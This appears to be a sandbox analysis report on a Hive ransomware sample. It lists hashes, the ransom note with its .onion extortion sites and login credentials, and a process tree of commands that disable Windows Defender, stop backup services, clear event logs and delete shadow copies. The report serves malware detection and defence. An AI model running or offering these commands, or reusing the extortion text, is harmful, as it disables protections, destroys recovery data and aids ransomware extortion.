Overview

overview

10

Static

static

3

VHO-Trojan...33.exe

windows7-x64

10

VHO-Trojan...33.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    147s
  • max time network
    115s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    13/03/2025, 17:40

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    VHO-Trojan-Ransom.Win32.Hive.dc-d7fe04c042782df6be1fb3e38f171631820e43b9472da93af7e5f49b550a2a33.exe

  • Size

    3.3MB

  • MD5

    6c1444d0e1c63881918fdd4d60d54f9d

  • SHA1

    408db71f315ae43204f1a34b6f28c5ac51d5507b

  • SHA256

    d7fe04c042782df6be1fb3e38f171631820e43b9472da93af7e5f49b550a2a33

  • SHA512

    bacf08c9d9c93495f01356589249dba5d5b8588acb7f00eb7d92e784875ef9610e37687ff32233c49f862f5564c6cf1fe0643ea8179a3e1be98eec65485525c1

  • SSDEEP

    49152:uVcQjH6VIOIgQFF3KzfKeSQSqFvVqp/kHzQJqEFH1D1R:uVpjK7xWF34fSQSqFvVqpcfE

Score
10/10
hivedefense_evasiondiscoveryevasionexecutionimpactransomwarespywarestealertrojan

Malware Config

Extracted

Path

C:\Program Files\7-Zip\wFLb_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: W52KvHE3BsXH Password: LbYFVa6Kw45h4it4UzCU To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.euq5i files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Hive

    A ransomware written in Golang first seen in June 2021.

    ransomwarehive
  • Hive family
    hive
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    defense_evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\VHO-Trojan-Ransom.Win32.Hive.dc-d7fe04c042782df6be1fb3e38f171631820e43b9472da93af7e5f49b550a2a33.exe
    "C:\Users\Admin\AppData\Local\Temp\VHO-Trojan-Ransom.Win32.Hive.dc-d7fe04c042782df6be1fb3e38f171631820e43b9472da93af7e5f49b550a2a33.exe"
    1⤵
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1680
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3380
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2448
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SDRSVC" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5272
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SDRSVC" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:1744
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SstpSvc" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1524
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SstpSvc" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3084
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "vmicvss" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4012
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "vmicvss" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5620
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "VSS" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:220
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "VSS" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:4772
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "wbengine" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4736
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "wbengine" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5632
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "WebClient" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:5540
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "WebClient" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5844
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "UnistoreSvc_298ff" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3796
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "UnistoreSvc_298ff" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:5800
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "SamSs" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:4292
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "SDRSVC" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1472
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "SstpSvc" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5648
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "vmicvss" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:6104
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "VSS" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:1912
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "wbengine" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5552
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "WebClient" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:3576
    • C:\Windows\SysWOW64\sc.exe
      sc.exe config "UnistoreSvc_298ff" start= disabled
      2⤵
      • Launches sc.exe
      • System Location Discovery: System Language Discovery
      PID:5876
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
      2⤵
      • Modifies Security services
      • System Location Discovery: System Language Discovery
      PID:4624
    • C:\Windows\SysWOW64\reg.exe
      reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4812
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender DisableAntiSpyware settings
      • System Location Discovery: System Language Discovery
      PID:4864
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4976
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3924
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:2728
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:4144
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:4676
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:5072
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
      2⤵
      • Modifies Windows Defender Real-time Protection settings
      • System Location Discovery: System Language Discovery
      PID:5060
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1072
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4380
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3408
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4220
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5592
    • C:\Windows\SysWOW64\reg.exe
      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5248
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
      2⤵
      • System Location Discovery: System Language Discovery
      PID:5996
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4356
    • C:\Windows\SysWOW64\schtasks.exe
      schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
      2⤵
        PID:892
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2384
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1532
      • C:\Windows\SysWOW64\reg.exe
        reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
        2⤵
          PID:5780
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:4496
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2372
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:4556
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:3080
        • C:\Windows\SysWOW64\reg.exe
          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:5452
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:5924
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:5748
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:456
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          PID:5676
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies security service
          • System Location Discovery: System Language Discovery
          PID:5732
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
          2⤵
          • Modifies Security services
          • System Location Discovery: System Language Discovery
          PID:744
        • C:\Windows\SysWOW64\wevtutil.exe
          wevtutil.exe cl system
          2⤵
          • Clears Windows event logs
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:3392
        • C:\Windows\SysWOW64\wevtutil.exe
          wevtutil.exe cl security
          2⤵
          • Clears Windows event logs
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2660
        • C:\Windows\SysWOW64\wevtutil.exe
          wevtutil.exe cl application
          2⤵
          • Clears Windows event logs
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:2392
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          wmic.exe SHADOWCOPY /nointeractive
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4476
        • C:\Windows\SysWOW64\Wbem\wmic.exe
          wmic.exe shadowcopy delete
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:5032
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1624
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2456
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIOAVProtection $true
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:4760
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
          2⤵
          • System Location Discovery: System Language Discovery
          PID:548
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableRealtimeMonitoring $true
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            PID:5720

      Network

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      Command and Scripting Interpreter

      1
      T1059

      PowerShell

      1
      T1059.001

      System Services

      1
      T1569

      Service Execution

      1
      T1569.002

      Windows Management Instrumentation

      1
      T1047

      Persistence

      Create or Modify System Process

      4
      T1543

      Windows Service

      4
      T1543.003

      Privilege Escalation

      Create or Modify System Process

      4
      T1543

      Windows Service

      4
      T1543.003

      Defense Evasion

      Impair Defenses

      3
      T1562

      Disable or Modify Tools

      2
      T1562.001

      Indicator Removal

      2
      T1070

      Clear Windows Event Logs

      1
      T1070.001

      File Deletion

      1
      T1070.004

      Modify Registry

      4
      T1112

      Credential Access

      Credentials from Password Stores

      1
      T1555

      Credentials from Web Browsers

      1
      T1555.003

      Unsecured Credentials

      1
      T1552

      Credentials In Files

      1
      T1552.001

      Discovery

      System Location Discovery

      1
      T1614

      System Language Discovery

      1
      T1614.001

      Lateral Movement

      Collection

      Data from Local System

      1
      T1005

      Command and Control

      Exfiltration

      Impact

      Inhibit System Recovery

      1
      T1490

      Service Stop

      1
      T1489

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Program Files\7-Zip\wFLb_HOW_TO_DECRYPT.txt
        Filesize

        1KB

        MD5

        1ca4bccdc072b810cb3f0080d616317a

        SHA1

        80dea435c073d9b0a2a54a853df4dc058ebd3352

        SHA256

        48f9f649dfdf74a453d0229070bfdadd27c93e014f56cf36992758b70350e169

        SHA512

        fcacc4812f6cd93cb91a5e502fe3571eefba692defdd52f67b55cad3790405535ff156ba87360dcccd86e0766e03ddbd6a1c547b7cd40d1f32ccf7e51dfc4488

        Download Submit

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        Filesize

        18KB

        MD5

        99b8a2b2685beff9558166355bcb9054

        SHA1

        251d09517601b0615d14b685d339ef1f59de8a90

        SHA256

        e58348a28b425237efddec02e88afe2edfbaccf926db600d4862a8bde023654d

        SHA512

        68cad3e8077878be84fae098305ddc884076831ddd4e11596dfc7b7ff08cf434600a81849629e7846c9cd8de08f8f882ba70b826c0eb1a62f19ff733b7abc17c

        Download Submit

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ddn2452o.mnv.ps1
        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        Download Submit

      • memory/4760-31-0x0000000006B40000-0x0000000006BE3000-memory.dmp

        Filesize

        652KB

        Download

      • memory/4760-33-0x0000000006E80000-0x0000000006E9A000-memory.dmp

        Filesize

        104KB

        Download

      • memory/4760-5-0x00000000053C0000-0x0000000005426000-memory.dmp

        Filesize

        408KB

        Download

      • memory/4760-16-0x0000000005550000-0x00000000058A4000-memory.dmp

        Filesize

        3.3MB

        Download

      • memory/4760-17-0x0000000005B50000-0x0000000005B6E000-memory.dmp

        Filesize

        120KB

        Download

      • memory/4760-18-0x0000000005B80000-0x0000000005BCC000-memory.dmp

        Filesize

        304KB

        Download

      • memory/4760-19-0x0000000006110000-0x0000000006142000-memory.dmp

        Filesize

        200KB

        Download

      • memory/4760-20-0x00000000751A0000-0x00000000751EC000-memory.dmp

        Filesize

        304KB

        Download

      • memory/4760-30-0x0000000006B20000-0x0000000006B3E000-memory.dmp

        Filesize

        120KB

        Download

      • memory/4760-2-0x00000000045D0000-0x0000000004606000-memory.dmp

        Filesize

        216KB

        Download

      • memory/4760-32-0x00000000074C0000-0x0000000007B3A000-memory.dmp

        Filesize

        6.5MB

        Download

      • memory/4760-6-0x0000000005430000-0x0000000005496000-memory.dmp

        Filesize

        408KB

        Download

      • memory/4760-34-0x0000000006EF0000-0x0000000006EFA000-memory.dmp

        Filesize

        40KB

        Download

      • memory/4760-35-0x0000000007100000-0x0000000007196000-memory.dmp

        Filesize

        600KB

        Download

      • memory/4760-36-0x0000000007080000-0x0000000007091000-memory.dmp

        Filesize

        68KB

        Download

      • memory/4760-37-0x00000000070B0000-0x00000000070BE000-memory.dmp

        Filesize

        56KB

        Download

      • memory/4760-38-0x00000000070C0000-0x00000000070D4000-memory.dmp

        Filesize

        80KB

        Download

      • memory/4760-39-0x00000000071C0000-0x00000000071DA000-memory.dmp

        Filesize

        104KB

        Download

      • memory/4760-40-0x00000000071A0000-0x00000000071A8000-memory.dmp

        Filesize

        32KB

        Download

      • memory/4760-3-0x0000000004D90000-0x00000000053B8000-memory.dmp

        Filesize

        6.2MB

        Download

      • memory/4760-4-0x0000000004C80000-0x0000000004CA2000-memory.dmp

        Filesize

        136KB

        Download

      • memory/5720-53-0x00000000751A0000-0x00000000751EC000-memory.dmp

        Filesize

        304KB

        Download

      • memory/5720-51-0x00000000064B0000-0x0000000006804000-memory.dmp

        Filesize

        3.3MB

        Download